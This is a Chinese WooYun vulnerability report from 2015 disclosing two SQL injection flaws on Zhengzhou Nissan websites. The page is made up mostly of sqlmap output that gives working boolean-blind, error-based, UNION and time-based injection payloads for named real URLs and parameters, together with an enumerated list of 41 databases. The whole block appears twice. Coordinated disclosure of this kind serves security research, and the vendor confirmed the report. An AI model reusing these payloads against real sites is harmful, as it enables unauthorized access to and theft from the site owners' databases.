当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0155833

漏洞标题:郑州日产主站存在SQL注入两枚

相关厂商:郑州日产汽车有限公司

漏洞作者: Ra8er

提交时间:2015-11-25 16:17

修复时间:2016-01-11 16:00

公开时间:2016-01-11 16:00

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-25: 细节已通知厂商并且等待厂商处理中
2015-11-27: 厂商已经确认,细节仅向厂商公开
2015-12-07: 细节向核心白帽子及相关领域专家公开
2015-12-17: 细节向普通白帽子公开
2015-12-27: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

:)

详细说明:

http://www.zznissan.com.cn/dongfengfengdu/buy/online_read.php?id=8

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: id=8 RLIKE (SELECT (CASE WHEN (8580=8580) THEN 8 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=8 AND (SELECT 6641 FROM(SELECT COUNT(*),CONCAT(0x716b7a7671,(SELECT (CASE WHEN (6641=6641) THEN 1 ELSE 0 END)),0x716a767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=-1161 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b7a7671,0x5977594b617a566b494c,0x716a767a71)#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: id=-7189 OR 2739=SLEEP(5)
---
[14:56:16] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[14:56:16] [INFO] fetching database names
available databases [41]:
[*] club_15
[*] ebuy
[*] ebuy1217
[*] events
[*] events_2014cgr
[*] events_2014five
[*] events_pickupStory
[*] ezznissan
[*] information_schema
[*] innodb
[*] jinzhiwen
[*] maintain
[*] mysql
[*] nissan
[*] nissan_2015cgr
[*] nissan_jxs
[*] nissan_patrol
[*] nissanmedia
[*] nissantest
[*] paladin
[*] paladinclub
[*] paladinclubtemp
[*] palaqi
[*] performance_schema
[*] specialcar
[*] test
[*] topic
[*] tower_15
[*] wqw_five
[*] wqw_mx6gc
[*] wqw_succk
[*] xuhui
[*] yaguan
[*] zznissan
[*] zznissan_eng
[*] zznissan_jnds
[*] zznissan_lms2015
[*] zznissan_mx6sj2015
[*] zznissan_mx6tg2015
[*] zznissan_pro
[*] zznissanbak


http://guangzhou.zznissan.com.cn/deal_apply.php?height=350;width=560&jxs=1
跟上一个数据库一样

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: jxs (GET)
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: height=350;width=560&jxs=1 RLIKE (SELECT (CASE WHEN (9090=9090) THEN 1 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: height=350;width=560&jxs=1 AND (SELECT 2592 FROM(SELECT COUNT(*),CONCAT(0x7162707a71,(SELECT (CASE WHEN (2592=2592) THEN 1 ELSE 0 END)),0x71626a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: height=350;width=560&jxs=1 UNION ALL SELECT CONCAT(0x7162707a71,0x77704957776d456b4d68,0x71626a7671)#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: height=350;width=560&jxs=-7485 OR 3521=SLEEP(5)
---
[15:33:10] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0

漏洞证明:

http://www.zznissan.com.cn/dongfengfengdu/buy/online_read.php?id=8

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: id=8 RLIKE (SELECT (CASE WHEN (8580=8580) THEN 8 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=8 AND (SELECT 6641 FROM(SELECT COUNT(*),CONCAT(0x716b7a7671,(SELECT (CASE WHEN (6641=6641) THEN 1 ELSE 0 END)),0x716a767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=-1161 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b7a7671,0x5977594b617a566b494c,0x716a767a71)#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: id=-7189 OR 2739=SLEEP(5)
---
[14:56:16] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[14:56:16] [INFO] fetching database names
available databases [41]:
[*] club_15
[*] ebuy
[*] ebuy1217
[*] events
[*] events_2014cgr
[*] events_2014five
[*] events_pickupStory
[*] ezznissan
[*] information_schema
[*] innodb
[*] jinzhiwen
[*] maintain
[*] mysql
[*] nissan
[*] nissan_2015cgr
[*] nissan_jxs
[*] nissan_patrol
[*] nissanmedia
[*] nissantest
[*] paladin
[*] paladinclub
[*] paladinclubtemp
[*] palaqi
[*] performance_schema
[*] specialcar
[*] test
[*] topic
[*] tower_15
[*] wqw_five
[*] wqw_mx6gc
[*] wqw_succk
[*] xuhui
[*] yaguan
[*] zznissan
[*] zznissan_eng
[*] zznissan_jnds
[*] zznissan_lms2015
[*] zznissan_mx6sj2015
[*] zznissan_mx6tg2015
[*] zznissan_pro
[*] zznissanbak


http://guangzhou.zznissan.com.cn/deal_apply.php?height=350;width=560&jxs=1
跟上一个数据库一样

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: jxs (GET)
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: height=350;width=560&jxs=1 RLIKE (SELECT (CASE WHEN (9090=9090) THEN 1 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: height=350;width=560&jxs=1 AND (SELECT 2592 FROM(SELECT COUNT(*),CONCAT(0x7162707a71,(SELECT (CASE WHEN (2592=2592) THEN 1 ELSE 0 END)),0x71626a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: height=350;width=560&jxs=1 UNION ALL SELECT CONCAT(0x7162707a71,0x77704957776d456b4d68,0x71626a7671)#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: height=350;width=560&jxs=-7485 OR 3521=SLEEP(5)
---
[15:33:10] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0

修复方案:

过滤

版权声明:转载请注明来源 Ra8er@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-11-27 15:59

厂商回复:

已收到

最新状态:

暂无